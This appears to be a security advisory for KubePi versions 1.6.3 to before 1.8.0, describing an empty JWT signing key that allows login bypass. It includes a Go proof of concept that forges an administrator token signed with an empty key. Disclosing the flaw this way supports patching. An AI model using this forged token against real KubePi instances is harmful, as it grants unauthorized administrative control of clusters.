Improper Validation of Integrity Check Value Affecting github.com/kubeoperator/kubepi/internal/config package, versions >=1.6.3 <1.8.0

Affected versions of this package are vulnerable to Improper Validation of Integrity Check Value due to the JWT key handling during the configuration file reading process. An attacker can bypass login verification and directly take over the backend by exploiting the empty key used in JWT token generation.

package main

import (
    "fmt"
    "github.com/kataras/iris/v12/middleware/jwt"
    "time"
)

var jwtMaxAge = 100000 * time.Minute

type UserProfile struct {
    Name                string              `json:"name"`
    NickName            string              `json:"nickName"`
    Email               string              `json:"email"`
    Language            string              `json:"language"`
    ResourcePermissions map[string][]string `json:"resourcePermissions"`
    IsAdministrator     bool                `json:"isAdministrator"`
    Mfa                 Mfa                 `json:"mfa"`
}

type Mfa struct {
    Enable   bool   `json:"enable"`
    Secret   string `json:"secret"`
    Approved bool   `json:"approved"`
}

func main() {
    jwtSigner := jwt.NewSigner(jwt.HS256, "", jwtMaxAge)
    test := map[string][]string{}
    profile := UserProfile{
        Name:                "admin",
        NickName:            "Administrator",
        Email:               "support@fit2cloud.com",
        Language:            "zh-CN",
        ResourcePermissions: test,
        IsAdministrator:     true,
        Mfa: Mfa{
            Secret:   "",
            Enable:   false,
            Approved: false,
        },
    }
    nonejwt, _ := jwtSigner.Sign(profile)
    fmt.Println(string(nonejwt))
}

• GitHub Commit
• GitHub PR